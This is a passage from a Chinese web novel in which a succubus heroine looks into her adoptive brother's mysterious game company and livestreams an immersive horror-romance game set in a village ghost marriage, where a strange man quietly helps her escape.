当时她悄悄跟着学姐学长来到了人类世界, 谁知道那地方居然是个荒郊野岭。她是个黑户,当然没法像其他学姐学长一样坐车——没有学校发的毕业手册, 她也不知道该怎么坐车。 好在之芙是个乐观的小魅魔,第一次来到人类世界,看什么都新奇。 她顺着公路慢慢往下走, 忽然看到山脚下有浓浓的烟和火光。 那是司苍的车,出了车祸。之芙见到他的时候,他头上有个又深又恐怖的血洞,正在往外冒血。之芙知道人类很脆弱,流血太多也会死。她把司苍从车里拉出来,对方的手臂却卡在安全带里。 没办法,她只好趴在司苍身上,摸索着安全带——如果司苍还醒着,一定非常惊讶,因为当时之芙完全搞不明白安全带要怎么解开,她摸了半天,没解开安全带,反而把司苍摸醒了。 男人糊满了血的眼睛缓缓睁开,看了她一眼:“跑……” “什么?”之芙还趴在他身上找解开安全带的办法。 “快跑……咳咳咳……!!!” 他声音太小了,之芙没听清楚。她一把按过他,不许他说话干扰自己。也不知道她按到了哪里,安全带一整个松开了。之芙有点莫名其妙,但还是把司苍拖到了路边。 她这才有功夫好好地打量了对方。 他长了一张很漂亮的脸,神色却寡淡,此刻怔怔地看着她,放大的眼睛里好像只有她的身影似的。 之芙拍了拍他的脸:“人……呃,你意识还清醒吗?你能联系到你家里人吗?” 男人依旧怔怔地看着她,这是……看傻了? 好吧好吧,她承认自己确实长得好……但也不至于——“喂!” 男人猛然扑倒她,抱着她转了几圈,摔进了旁边的草地里。不远处,车子发出爆炸巨响,漏了满地的油骤然被点燃,沿着公路烧了一地。 身后熊熊的火光冲天而起,之芙终于明白对方为什么让她快跑了。 男人支起上半身,借着火光的映照,专注地看着她的脸。他伸出手,似乎想要触摸她的脸颊,确认她不是一个临死前的幻想。但刚抬起的手还没伸出就倒向一旁,他无力地垂倒在之芙的身上,陷入了昏迷。 ——后来司家父母找过来,又把司苍送进医院,人类真是脆弱的种族,当时的司苍看起来除了额头上的血洞似乎并没有其他伤,但后来之芙才知道司苍伤得很重,他脏器破裂,在ICU里躺了好久才出院。 之芙以为经历过那么惨痛的车祸,司苍会对开车产生心理阴影,但似乎并没有——所以说,人类也是神奇的种族,他们的身体那么脆弱,精神却那么坚强。 那次车祸过后,之芙本来想借着他们的车离开后就自己一个人想办法在城市里生活,但司妈妈似乎误以为她是个无父无母的小可怜,想要收养她。 之芙本来就是个黑户,司妈妈提出帮忙,她当然没有拒绝的理由。 “您好,这是您的咖啡。”服务生小姐姐端上了一杯咖啡,之芙喊住她,问:“你好,请问你知道外面的那栋楼是什么公司吗?” 小姐姐顺着她的手指看过去:“这个啊,我记得他们是前段时间才搬来的新公司,买下了那一栋楼呢,也不知道是哪个公司这么大手笔……不过,很少见到那个公司里的人来喝咖啡呢。” 她在这里工作,知道的一定很多。 之芙问:“那你知道那个公司是做什么的吗?” 对方踌躇了一下,不太了解的样子:“听人说,似乎是什么游戏公司。” “那你有见过这个人吗?”之芙掏出手机里和司苍的合照,这还是她刚到这里的时候和司苍拍的。 “这个人倒是没有见过……”小姐姐摇摇头,她上下打量了之芙一眼,迟疑着问:“这是你的……” 之芙说:“哥哥。” “哥哥?”对方的眼神更加疑惑了。她看看照片中轻轻揽着之芙肩膀,眼神专注地看着她的男生,又看看之芙理所当然的表情。最后露出了会心一笑:“我们店里有外送服务,我帮你问一下吧。” 她转头进了后厨,没一会儿回来了,说:“这个人有人见过,在对面的大楼里。不过似乎也不经常来,他有点咖啡的习惯。” 之芙点点头,还想再问什么,忽然看到视线的余光里,司苍的车开了出来,她匆匆放下钱抓起钥匙就冲进了车里。 看着那辆车从自己眼前开过去,之芙也赶紧开车跟上。 这一次,司苍的车停在了熟悉的地方——医院门口。 之芙惊讶地发现,这个医院,就是自己之前住的那个医院。她在车上看到司苍和那个维修工一起下来,两人面色都不太好看,肩并肩走向了医院里。 或许现在,这个维修工该打个引号了。 之芙把车停在了路边,有些惊讶地发现,他们进去的那栋楼居然是有守卫的。而那些守卫不像是普通医院的保安那样松散,他们严格检查着所有人的进出权限,闲杂人等不能入内。 之芙在院前看了一会儿,意识到自己不能跟着他们一起进去之后,她调转方向,开车回家。 司苍,方寄南,和这个奇怪的“维修工”多半是互相认识的。所以……她玩的那个游戏,一定也跟他们有关吧? …… 医院里,司苍和男人正穿过一间间房间,走进了最里面的那一间。 “情况暂时稳定下来了,但病人的意识还是不太清楚。”医生这样向他们解释道,“我们已经在尽力治疗了,也已经跟公司的人对接了情况,尽量弄明白病因。但……你们告知家属了吗?对于病人的情况,家属要有心理准备。” 这几乎已经是判死刑了。 司苍和男人对视一眼,脸色都不太好看。男人开口:“最坏的情况是什么样?” 医生却顿了顿。他开口:“最好的情况是,陷入植物人状态。病人的意识不清晰,我们对于大脑的研究还是太少了,更何况这是罕见的病因,我们现在连那个游戏系统都弄不明白,更别说对于它造成的脑部伤害了。” 他没有说最坏的情况,但已经不言而喻了。 医生走后,男人才问:“这次是什么情况?” 司苍揉了揉太阳穴:“游戏的最后发生了所有人都意想不到的情况……我们还在复盘。简单来说,那个游戏里有个像是神一样的角色,它隐藏在所有人中间,连我也没有发现。游戏的最后,它试图带走之芙,方寄南强制断开了游戏连接。” 男人沉声道:“我记得,这次游戏连接了他的意识,按理来说,游戏中除了之芙以外所有人的意识都是系统按照他的性格自动生成的。你的意思是,这次的游戏里,误入了‘神’?” “……现在还不知道具体情况。”司苍道,“但我们认为那个‘神’可能也是方寄南的分身之一。否则没法解释为什么他强制断开后,那个‘神’就没有了下一步行动,他很可能是切断了自己的意识,同时也切断了对方的。” “那他……” “他是想救之芙。”司苍抿了抿唇,转头看向了病房内静静躺着的,脸色苍白的男人。“虽然他在进入游戏前,还大言不惭地说着什么‘小特权’。……哪有人为了小特权把命赔上的。” 男人也跟随着他的视线,看向了病房里的方寄南。 他很难想象,这个狐狸一样利益至上的男人,会做出这种舍己为人的事情。 “如果把他的意识重新连接进游戏里呢?”男人问,“他现在陷入植物人状态,应该是他的意识留在了游戏里吧。如果能带出来呢。” “这只是一个猜测。”司苍说。“为了安全,我们不应该再送任何人进入游戏,我的理智告诉我,不能为了一条命赔上其他人的命。” 男人笑了一下,但那笑意很短暂,像是错觉:“那你的感情怎么说?” “……” 司苍沉默了。 从感情上来说,他当然希望有人陪伴之芙进入恐怖片。他顺着对方的话设想了一下那样的场景,惊讶地发现,只要死的人不是之芙,他都能为此感到一种诡异的欣慰。 沉默许久,他开口:“如果早知道会这样,我就不当系统了。” 至少,用自己的命去赌,比用别人的命去赌,会让他好受很多。 男人笑着拍了拍他的肩膀:“你把方寄南这个家伙的选择看得太轻了。他能那么选择,一定是他判断这样比让之芙死去更好。” “……或许吧。” 男人笑着,又指了指自己:“你们那个进入游戏的位置,缺一个人对吧?” “你看,我怎么样?” 第86章 《她看不见》 “记住,如果屋子里出现…… 回到家, 之芙看向了走廊对面司苍的房门。不知道是不是因为走得急,他的房门没有关紧,隐隐约约可以看到房间里放着一个巨大的设施, 但轮廓看不清晰。 有点像是……游戏仓。 之芙有些犹豫。她凑上前去,将额头轻轻抵在了门上, 司苍的房门轻轻摇晃, 门轴发出细微的"吱呀",仿佛某种无声的邀请。当她将额头抵在沁凉的门板上时,嗅到了淡淡的雪松香混着金属冷却液的味道, 她试图从门缝里观察屋里的东西。 但还没来得及仔细看, 身后楼梯突然传来木料不堪重负的呻吟。之芙慌忙后退时,后腰撞到了身后门板的扶手, 钝痛像投入深潭的石子, 在她紧绷的神经上激起层层涟漪, 转角处, 司苍的身影被斜阳拉得细长, 他的影子先于本人攀上墙壁。 他表情沉重,双眼凝视着虚空中的一点,似乎在思考着什么, 他的唇紧紧地抿着, 如果他在思考什么, 那一定是惊天难题。 忽然, 他一脚踏空,踉跄了一下。 “小心!”之芙眼疾手快, 扶住他,但她站得远,冲过去的时候一下收不住力, 反而把司苍撞倒在一侧扶手上。 相撞的瞬间,司苍的银质袖扣硌在她掌心,他跌进扶手的阴影里,喉结在苍白的皮肤下急促滑动,他看向她,眼神里像是燃着一把火,似乎一直在思考着与她有关的话题,但他张了张嘴,喉结滚动了一下,又像是要把某些即将破茧的话语重新咽回胸腔。纤长的眼睫垂下,方才炽热的眼神仿佛是她的错觉。他又恢复了死水一般的表情,慢吞吞地说:“……谢谢。” “……” 司苍看着她。很难用词汇来形容他此时的表情,他的眼神很复杂,看着她的样子像是看着世界上最大的一个难题,只能愣愣地、看着她,把她的一切都收入视线中…… 之芙也说不好那是什么样的眼神。这种眼神会让她想起第一部游戏里遇见过的黎夜和谢应白。 她的手搭在司苍的肩膀上,瞬间从对方的身上问到了焦灼、后悔和恐惧的味道。 隔着单薄的衬衫,之芙能感受到他肩胛骨细微的震颤。那股若有若无的雪松香突然变得辛辣,像是被火苗舔舐的檀香,混着电子元件灼烧的味道,让人想起被火点燃的机器人。 司苍脸上常常出现的那种死水一般的表情,可不就像是机器人嘛。 “……哥?”这个称呼在舌尖滚了太久,带着温热的湿气。 一个字,让司苍像是被静电电了一下似地,他猛然退开的动作卷起微弱气流,掀动她鬓角的碎发。黄昏的光晕中,他眼睫投下的阴影像两片欲坠的蝶,在眼下苍白的皮肤上轻轻颤动。他骤然和之芙拉开距离,恢复了一贯的面无表情:“怎么了?” 之芙有点想问他关于游戏的事情,但是她根据游戏里系统的反应,她又觉得这个便宜哥哥恐怕不会说真话。她想起自己在游戏里对系统大放厥词,决定要自己弄明白这个游戏的秘密。 “没什么,看你急匆匆出门,是有什么急事吗?” 司苍顿了顿,若无其事地开口:“公司里的一点事情,已经处理好了。” “……”看来是真的不会跟自己说真话了。之芙也装作若无其事的样子,点点头:“那就好,别让妈妈担心。” 看表情司苍是有点无奈:“她什么时候担心过我……算了。” 之芙笑眯眯地冲他点点头:“妈妈肯定很担心啦!如果你遇到什么事,我也担心嘛。” 她走回房间,正要关上门,就见身后的司苍快步走了几步,一手撑住她的门,顿了顿。问这样的话似乎让他有点不适应:“你……最近在玩什么?” “我在玩一个乙女游戏,可好玩了。”之芙说,“里面的角色超级精美真实——” “就像我给你买的那个那样?” “才不是!”说到这个之芙就有点生气,“你给我的那个明明是诈骗游戏!你不会不知道吧?” 她怀疑地盯向司苍,司苍沉默而苍白的脸上却露出了一点淡淡的笑意,之芙立刻:“你果然知道!我就知道你不安好心……” “咳咳。”司苍遮住嘴,装模作样,“我是看你不知道人间险恶,怕你被人骗,所以才……” 之芙盯着他,哼了一声,就要关门。 关门前的一秒,之芙看到他的嘴唇动了动:“我的意思是……你玩得开心吗。” “开心啊。”之芙随口说,她想,这个游戏其实挺好玩的。 好玩就好玩在,不仅可以玩游戏,还可以在现实世界解谜。 门关上了,司苍的声音被一道门板隔在外面,模模糊糊,像是从另一个遥远的世界传来的低喃。 “……嗯,你玩得开心就好。” …… 之芙坐回游戏仓里,她伸了个懒腰,看时间似乎还早,打开游戏仓,拉了一下游戏的清单。 这个游戏仓里有很多游戏,她数了一下,足足有二十多页,按照方寄南的说法这些都是给她体验的内测版游戏,等到正式上线后都需要购买解锁。 这就是普通的买断制游戏的购买方式,所以她现在相当于内测玩家了。 之芙兴致勃勃地挑选起了游戏片名,从一排令人眼花缭乱的名字里选中了一个《她看不见》,她躺进游戏仓里,选择进入游戏,游戏跳出提示:【正在连接系统中……】 之芙想起来,那个“维修工”所说的话。他说这个游戏的直播间也出现了bug,正在维修,而方寄南也说过,如果她能帮忙直播游戏,吸引热度就更好了——他还给了她钱呢!拿钱不办事,这不好吧? 之芙沉思。之芙思考了片刻。 她从游戏仓里跳出来,拿出了摄像头,直接连接了游戏仓外的显示屏。 ——游戏系统里直播间不知道什么时候能修好,但是,她可以直接物理外置直播间啊。 架好摄像头,之芙对着直播间里涌入的观众打招呼:“大家好!下午好呀下午好!” “什么?很久没直播?啊……我最近在忙啦,嘿嘿。” “今天播什么?大家看到我身后这个游戏仓了吗?”之芙张开手,展示自己身后的游戏仓:“我们今天播这个!铛铛铛!大家请看,全新的乙女游戏~” …… “一拜天地——” 浑浑噩噩之中,之芙感觉到身后有人推了一下她的肩膀。对方一只手扶着她的手臂,另一只手却死死地抓着她的肩膀,用力之大几乎要把她的肩膀捏碎。 她被身后的人一推,不由自主地弯下腰,拜了一拜。 “二拜高堂——” 又是一拜。 之芙从迷茫之中逐渐回过神来,眼前的一切都在昏暗的光线下摇晃。她头上盖着一块红色的盖头,布料有点透,隐隐能看到对面是什么东西。 ——对面摆着两把太师椅,太师椅上却没有坐人,而是摆着两个巨大的黑白相框,相框里是一男一女,黑白照,正冲着她笑。 “夫妻对拜——” 能不拜吗?之芙试图挣扎,但身后的试图操控她的手变多了,好几双手同时从身后按下来,钳制住她。 她被人从身后捏着转过身,弯腰。 看来是过场动画,不能拒绝。 鼻尖传来陈年木质家具的腐朽气息,混着某种动物皮毛的腥膻味。 之芙忽然意识到,她手里正握着什么正在乱动的活物,低下头,她发现自己的手上正抱着……一只鸡?一只活蹦乱跳,正在不断挣扎的鸡。 盖头下的世界泛着血色的光晕,怀里的公鸡在挣扎时蹭得她浑身浮灰,那些悬浮的尘埃沾在她的红裙上,如同飞舞的磷火。 “送入洞房——” 身边的人搀扶了上来,一股脑地把她架起来,推进二楼的房间。 之芙想侧头看一看这个跟自己拜天地的男人是谁,可身边却空空如也,只有怀里的鸡挣扎着想要逃离。 进了房间,那些人把她和鸡一起放在了床上。 一个人弯下腰,低声地道:“嫂嫂。” "嫂嫂。"耳语声贴着耳蜗爬进来,他又唤了一遍,带着潮湿的吐息。盖头突然被掀起一角,之芙的余光瞥见对方青白而细瘦的手指——指甲缝里嵌着暗红的泥垢,像是反复抓挠过某种黏腻的物体。那只手抚过她怀中的公鸡时,禽类温热的血液正顺着尾羽滴落,在喜被上洇出深色图腾。 “你什么都看不到。” 之芙猛地抬头,隔着盖头,她不太看得清楚对方的脸。 “记住,如果屋子里出现什么奇怪的东西,你什么都看不到。” 第87章 《她看不见》 “看着我。”他嗓音沙哑…… 【这个游戏!!!】 【这个游戏!!!!好真实!!!这是什么游戏, 我现在就要知道名字!】 【什么情况什么情况?只有我还没有搞明白这是什么情况吗?发生了什么?现在是哪里?芙芙在干什么?】 【看不懂,但感觉有点恐怖。为什么不逃?】 【过场动画懂不懂,只能看不能动的。】 【不是, 就没人觉得不对劲吗……现在是什么情况啊?看起来怎么有点像是……】 之芙还坐在床上,愣愣地看着对方。弹幕雪花网般掠过视线时, 男人骨节分明的手扯过一节不知道从哪里来的绳子。 "得罪了。"他俯身时垂落的发丝扫过她颈侧, 烛光在他喉结投下晃动的阴影。他抓起她的手,连带着绳子一起捆在床头,麻绳缠绕腕骨的力度带着克制的压迫感, 像是一个无法从他身下逃脱的阴影, 沉沉地盖了下来。 他的声音不像他的语气那样低沉,反而透着一股刚变声时期的少年的清亮。说罢, 他又回头看了她一眼, 便跟身后的所有人一起, 离开了。 房间重新恢复寂静, 之芙坐在床上, 鼻尖满是血腥味。 濒死的公鸡突然在她膝头痉挛,暗红血珠溅上喜服前襟,将刺绣的鸳鸯染成狰狞鬼面。月光恰在此时被乌云吞没, 窗棂上贴着的褪色囍字在风中簌簌作响, 仿佛冤鬼的呜咽。 她的手一松, 那只濒死的公鸡就从她的膝盖上跳了下去, 扑腾着翅膀,留下满地碎片似的羽毛和蜿蜒的血迹。 “喀拉——嘎——喀拉——” 它一路扑着翅膀, 一路尖叫,但那声音像是被死死地掐在了它的喉咙里,只能发出沙哑得像是在砂纸上磨过的, 调子诡异的声音。 它扑腾到窗户边,脑袋一下下撞着窗户,老旧古朴的木窗被它撞得发出”嘎吱嘎吱“的接连不断的声音。终于,木窗打开了一个口,公鸡一头扎了进去—— “嘎——!” “咚!” 一声尖叫,随着一声重物落地的响声,戛然而止。 【……】 弹幕静了一瞬,随后就像是炸了锅一样讨论起来: 【刚刚那是什么东西!好恐怖啊啊啊啊啊啊】 【绑架?人口拐卖?】 【……是阴婚吧。你们不知道吗?嫁给死人的话,会用公鸡代替死人拜堂的。】 【啊啊啊啊楼上你在说什么恐怖故事!】 【我芙怎么开始播恐怖游戏了?】 “不是恐怖游戏啦。”之芙看到了这一条,出声纠正她们,“是乙女游戏。” 【你在跟谁说话?】系统的声音在脑海中骤然响起,一如既往地低沉而平静。 【直播间观众啦。】之芙摆摆手,【系统,你终于出现了!现在是什么情况?你没给我剧本啊。】她摇了摇手上的绳索。 刚进入游戏,她觉得一切都有些莫名其妙。莫名其妙地穿上了红裙,盖上了红盖头,莫名其妙地跟一只公鸡拜堂,现在又莫名其妙地被捆在了这里。 幸好,她接受新鲜事物的能力一直很强。 【你是一个毕业返乡的大学生,决定告别传统而有诸多文化糟粕的故乡去大城市工作生活,从此再也不回来,但你的父母从小就为你定了娃娃亲,他们希望你嫁给那个男人。 你拒绝了,现在是自由恋爱的时代。 新年过后,你购买了外出的车票,准备一觉睡醒后离开这里。 但,或许是你没有注意到那天的晚饭被下了蒙汗药,也可能是你太没有防备心,在睡梦中被人打晕了。总之,你再度醒来时,就在这里了。】 【……所以,我是被人卖了?】之芙懵懵地问,【为什么?就算是娃娃亲也不至于给我下药打晕我抬过来吧?】 【是的。】系统说。【因为你的‘丈夫’在前几年就已经死了,你是嫁给了一个死人。】 ……真的和直播间的观众说得一样。 但之芙的关注点更为清奇:玩过那么多乙女游戏,她也算是阅人无数了,可攻略的角色男的女的、老的少的、年下年上、奶狗熟男,这样的男人她见过很多了—— 但死人,她还真没见过。 哼哼,她的乙女游戏收集图鉴里又要多出一种角色了!之芙信心满满地握拳——握拳。 她一握拳,惊讶地发现……呃,她怎么挣开了? 本该捆死的绳索如同褪下的蛇皮般簌簌而落,之芙只是轻轻握拳,绳子就整个掉了下来,落在地上。 此刻屋子里没有人,所有人都聚集在楼下,似乎是在喝酒吃席,热闹的声音不断从打开的窗口传来,在夜色下足以掩盖住许多声音。 没有人看着,那只公鸡又撞开了窗口,从窗口看去,下方是房子背后的山林,黑暗中一望无际。床对面的桌子上放着用来点燃龙凤烛的防风打火机,还有一碟糕点。 如果她真的是一个被父母绑来嫁给死人的普通女孩儿,此刻就是她逃跑的最佳时机。和公鸡拜过天地,又不是领了证,他们找不到她。往后山一跑,就算被人抓住,也比在这里任人胁迫强。 但之芙不是普通女孩——她决定留在这里。 系统对她的选择不置可否,只是道:【可以吃点东西。】 也是。留在这里不等于虐待自己。之芙兴高采烈地翻了翻那叠糕点,挑出几块看起来就又香又软的放进嘴里。 魅魔的胃口跟人类不太一样,他们进食本就不规律,人类的糕点,也不过是换换口味而已。 不过……之芙已经好久没有吃过东西了。她有点饿了。 直播间的观众似乎也注意到了什么: 【不跑吗?这些东西看起来像是故意放在那里的。是游戏道具吧?】 【芙芙你看,床上是不是还有个厚外套?】 之芙定睛一看,不是厚外套,而是一套崭新的衣服。上衣、裤子和鞋子都备好了,简直就像是等着她跑路一样。 “确实很像是游戏道具……”之芙喃喃自语,“所以,这也是游戏的一环吗?如果我跑路的话……” 如果她跑路的话,后面会有什么发展,男主会找到她吗? 之芙这头还在沉思,忽然,门外响起来了脚步声。 之芙心里一惊,来不及多想,她坐了回去,刚埋头把绳索重新捆好,盖头一盖,“吱呀——”一声,大门被人从外面推开了。 隔着血红色的盖头,之芙看到那个人停在门前,脸上露出了惊讶的表情。 ——仿佛很惊讶她居然还没有逃跑。 但这惊讶只是一瞬间。他走上前来,弯腰。 炽热的吐息扑在之芙的耳畔,之芙下意识抿唇。 他的手指拂过绳索,似乎在检查,却也不经意地抚过她的手腕内侧,脆弱而娇嫩的肌肤下,脉搏正在汩汩跳动。 他的指尖冰冷而修长,触碰到手腕内侧时激起一片颤栗,之芙脸颊晕开胭脂般的红痕,他俯身时腰带垂落的流苏扫过她膝头。某种潮湿的呜咽在梁柱间游荡,分不清是窗外山风还是鬼魂的呜咽。 大约是洗过了,指缝内的血迹消失了,更吸引人目光的是他的左手——他的左手是残缺的,没有无名指,之芙注意到他残缺的无名指断面泛着珍珠光泽,像是陈年旧伤。而那残缺的无名指此刻正轻轻刮擦她腕间跳动的血管。 “刚刚,你在这里,有没有看到什么?”他沙哑的声音在问。 “我?”之芙瞪大了眼睛,“我没有看到——” 她顿住了。一双冰冷的,像是冰雕似的手,搭在了她的肩头。 可是,男人就站在她身前,她的身后是床铺和墙,怎么会有人在身后? 她下意识要转过头,面前的男人猛地用手捧住她的脸,让她直视着自己。 之芙在他的眼睛里看到了放大的自己的脸,上面写满了茫然。他瞳孔里还映出自己身后模糊的白影——那绝不是月光投下的影子。弹幕炸开的荧光在视网膜残留青蓝残影,而她后颈正缓缓漫开霜雪般的寒意。 身后的手缓慢地往上移动,从肩膀抚摸到脖颈。薄薄的裙子挡不住温度,像是一块冰落进她的衣服里,激起一大片的鸡皮疙瘩。 “告诉我。”男人的声音像是警告,又像是强调,“你有没有看到什么。” 忽然有风从大开的窗户外吹来,掀起她的盖头,之芙下意识伸手去压。 但刚低头,就被男人猛地拉了回去。冰凉的发丝垂落肩头,有什么无形之物正贴着她脊背曲线游走。他强迫她看着自己的眼睛,不去看那个奇怪的、模糊的鬼影轮廓。他捧住她脸颊的掌心滚烫,残缺的无名指却冷如寒铁。他的手顺着她的脸颊缓缓往后移动,当那只残缺的手抚上她后颈时,龙凤烛突然爆开幽绿火苗。 之芙在他眼底看见自己紧咬着的唇泛出血色,那双鬼手顺着她的脊骨向上,抚过之处泛起奇异而暧昧的红痕,系统警报声与弹幕的尖叫在颅内轰鸣成混沌的潮声。 之芙抑制不住的战栗被男人误读为恐惧,他安抚性摩挲她后颈的力度,恰好将那道冰凉的鬼手痕迹揉成暧昧的绯红。 “看着我。”他嗓音沙哑,呼出的白雾凝结在她睫毛。 “告诉我,你什么都没有看到。” 第88章 《她看不见》 贪心。 “我、我什么都没有看到。” 烛火在雕花床柱上摇曳出细长的影子, 之芙被笼罩在男人投下的阴影里,显得无比娇小。鼻尖萦绕着若有若无的木头香与血腥味混杂的气味。她攥紧嫁衣下摆,在满室血色的映照下, 那些暗纹牡丹仿佛正在她掌心绽放。 男人垂下眼,他指尖擦过她耳垂, 惊起一片战栗, “……最好是。”他低沉的尾音被窗外骤起的鸦鸣撕裂,不远处的窗外正传来夜风呼啸的声音,又像是某种巨兽在磨牙。仿佛得到了一个令人满意的承诺, 他微微拉开了距离。 他退后几步, 与此同时,之芙感觉到自己身后那股冷意也消失了, 她立刻回头, 身后却只有大红色的床幔和白墙, 哪里像是有人的样子? 刚才的一切, 好像都是她的错觉。 ——但身前的男人看起来不这么想。他盯着之芙, 淡淡地吐出一句:“记住你刚才说的话。” 之芙还戴着那个血红色的盖头,视线里的一切都像是蒙上了一层奇异而诡异的血色滤镜,她想摘掉盖头, 仔细看看男人的样子, 但对方却制止了她。 “盖着吧。”他的语气放缓了很多, 裹着奇异的温柔, 仿佛别有深意,“相信我, 别让这里的人看到你的脸,对你只有好处没有坏处。” 之芙:“?”他是什么意思? 她出声:“那个,我一觉睡醒就在这里了。”之芙决定先按照剧情扮演好自己的人设, “你知道发生了什么吗?你是谁?你叫什么?” 按理来说,他们是第一天相见,正常的人类第一次见面,不应该做自我介绍吗? 但男人却没有一点要介绍自己的意思,甚至对于她的自我介绍也兴致缺缺。他看向了床对面的梳妆台,上面的龙凤烛已经燃到了尾声。 紧接着,他的目光明显下移,落在了梳妆台的柜子下。 但他到底也没有多说什么:“你今晚就睡在这里,不要乱跑。” 说罢,他大步走向门外,打开门的瞬间忽然想起了什么,回身留给她一个侧脸。他似乎在笑,但那笑容在盖头下也显得扭曲而诡异:“后山没有人,你平常也不要去。你早点睡觉,明天还有事要做,后山往南边走有个城镇,明天早点起来,陪我去镇上。” 之芙“哦”了一声,紧接着,她就看到对方把门给关上了——他甚至还落锁了。 但是……之芙看向窗外。呼啸的夜风正从大开的窗外吹来,风挤过窗棂时发出呜呜咽咽的声响,仿佛在寂静的屋里张牙舞爪地显示着自己的存在感。 锁了正门,却留一个窗户;像强调又像是掩饰地不断提起没人的后山,以及那个离后山不远的城镇,对方的意图简直不要太明显。 之芙把盖头扯下来,第一时间打开了之前男人看向的梳妆台下面的柜子。 一个黑色的书包,打开来里面有矿泉水和饼干,手电筒,薄毯,指南针,甚至还有几片暖宝宝。 之芙看了看书包,又看了看身后场上放着的那一套崭新的衣服,再顺着一地的血迹看看被公鸡撞开的窗户。 ……简直是标准的新手指引教程,还是那种保姆级的。 之芙想起那只公鸡,拜堂的时候一直很乖地呆在她的怀里,直到被男人掐了一把,才像是疯了一样挣扎,撞开了窗户。 不会也是这个人做的吧? 【刚刚发生了什么?为什么直播画面突然变得好模糊……】 【不知道。但是,芙芙,你还是跑吧……】 【对啊,总觉得这里氛围怪怪的……】 【就是!虽然是乙游,但是为什么要跟这种买卖包办女性的男人谈恋爱啊,也太不尊重人了吧?】 【给楼上的老婆点了,干嘛要理会这种男人,芙芙咱们吃好的去】 【加一加一加一,不接受我老婆跟这种男人谈恋爱!不尊重女性的男人都滚出去,知不知道追我芙的男人从这里排到法国啊?】 【虽然但是,我弱弱地说一句,我觉得这个男的很明显在帮芙芙逃跑啊……】 之芙斟酌了一下,现在的情况是,她被锁在了门里,只有窗户能离开。当然她也可以睡一觉等着明天的新剧情,但是——保姆级教程都送到嘴边了,显然得跑路,才能继续剧情吧? 说干就干,之芙换下了身上的红裙,穿上了那身新衣服——尺码不是很合适,大了一点。显然准备这身衣服的人对她并不熟悉。 之芙还担心换衣服的时候,那个奇怪的鬼手又会出现,但这次并没有。鬼手似乎跟着男人一起离开了。 之芙把桌子上的打火机也塞进包里,背上背包,爬上了一边的窗台—— 她现在身处一个三层的木制小楼,从窗台上陈旧的木头来看,这栋楼大概有些年岁了。她站在窗边,向外望去,外面一片昏黑,月光模模糊糊地照亮了远处的群山,这里大概在某个大山的深处,毫无现代社会的痕迹,自然也没有路灯这种东西。 二楼不算高,之芙的身体素质更是普通人类比不上的。她正准备跳下二楼,往下一看,忽然笑了。 ——二楼通往后山的墙上,挂着一个绳子。大概是为了让她顺利下楼,刻意放在那里的。 这教程,也太刻意了吧? 之芙拉起绳子,探头往下看了一眼,忽然注意到脚下踩到了什么硬硬的东西。 她掏出手电筒来一照—— 地上是一片半干的血迹,粘稠地触感让人感觉不太妙。更不妙的是她正踩在血迹的中央,而脚下,是一个公鸡形状的,令人无比眼熟的纸扎。 之芙:…… 她脚下的公鸡纸扎:…… 弹幕更是炸锅一样尖叫: 【卧槽啊啊啊啊啊啊啊啊】 【这只鸡跟刚刚那只长得一模一样啊啊啊啊啊啊!!!】 【真的假的?真的假的?刚刚那只鸡看起来跟普通公鸡没什么区别吧?恶搞?】 当然还有关注点走偏的弹幕: 【被老婆抱又被老婆踩,说谢谢了吗】 【谁家好乙女游戏做得那么吓人啊!到底想干嘛?】 公鸡纸扎躺在地板,像是没气了一样,下半边身体淹没在血污里,只露出一个脑袋,黑笔点着的两个黄豆大的眼睛与她对视。 之芙没管尖叫的弹幕,谨慎且尊重地后退了一步。 她拉起绳子,正准备往下跳,忽然想起什么,她捡起躺在地面的公鸡纸扎,用自己的衣摆擦干净。 诡异而恐怖的血迹被擦干之后,纸扎的本体露了出来,这是个很灵动精致的纸扎,活灵活现地扎出了公鸡叫早时的神气和耀武扬威的样子,乍一看还有些可爱。 能捡的东西,应该是游戏道具吧?玩游戏的人都知道,游戏里给的道具一定是能用上的。 之芙攥着纸扎公鸡跃下窗台时,怀中的纸扎突然发出"咯"的轻响。 她一愣,低头,发现纸公鸡脖颈正在渗血,豆大的黑眼珠骨碌转向她身后。月光将枯树虬枝投射在身后的地板上,那些枝桠的阴影突然开始扭曲蠕动,渐渐聚成一个模糊的人形。 "为什么……要走……"沙哑的男声贴着她后颈响起,之芙猛然转身,却见窗边立着只通体漆黑的乌鸦。它歪头盯着她,嘴里叼着什么奇怪的东西,定睛一看,居然是一只指根系着红绳的无名指。 那只无名指像是被齐根切断的,一滴血从指根掉落下来,砸在了之芙的脸颊上。 怀中的纸扎公鸡突然剧烈抖动,之芙来不及握紧它,纸扎竟扑棱着翅膀,像鸟儿一般飞向了隔壁的窗,发出凄厉的啼鸣。那些墙上的阴影仿佛被灼伤般急速退去,而远处的阁楼窗边,男人残缺指间的红线正死死绞住一只挣扎的鬼手。 “……”窗边的男人长叹了口气。他无奈地碾碎掌心的纸扎,看着少女消失在雾气中的身影,唇角却泛起连自己都未曾察觉的弧度,他像是喃喃自语,“这也想要?这有什么好的。真是……贪心。” 第89章 《她看不见》 纸偶小人 山路崎岖, 此刻正是开春,夜风冰冷,湿气又重, 山间的雾如有实质,头顶的树叶、脚下的草尖都湿漉漉的。 之芙背着包, 有些艰难地在山路中行走。 夜晚翻越山谷, 这是在城市里生活的人绝对想不到的艰辛,脚下没有路,只有积了厚厚落叶的山, 一脚下去, 踩进水坑溅一身水和踩不实滑倒的概率是对半开的。 也幸好男人给她准备的东西很齐全,之芙把毯子披在身上, 打开手电筒, 又把一个暖宝宝贴在了自己的衣服里面。 手电筒能照亮的前路有限, 就连动物都隐没在路边的草丛里, 只在手电筒的光划过的一瞬间露出几双绿或黄的眼睛, 直勾勾地盯着她。 夜风呼啸,大山深处显得冷清而恐怖,身边的黑暗中像是随时能蹿出一个鬼影, 偶尔会有身后有一双手拉住她的错觉, 但转头一看, 不过是一支横斜着插过来的树枝勾住了她的衣摆。 弹幕显然比之芙更害怕。 【晚上的山路原来这么难走……打了个冷颤, 很难想象如果是一个普通的女孩,没有背包里的东西, 偷偷跑出来,又冷又饿还被人追,想想就无助】 【等等!啊啊啊啊啊刚刚路边那个眼睛是什么!山里不会有狼吧?熊?野猪?无论是哪个都很可怕……】 【楼上的, 与其担心遇到野兽,不如担心遇到人吧……我觉得现在山里要是出现一个人影,无论是人还是鬼都很恐怖……】 之芙跟弹幕聊了几句,也不由得感叹幸好男人给她的装备齐全,只是她还不知道他叫什么名字。 一个弹幕划过她的视线: 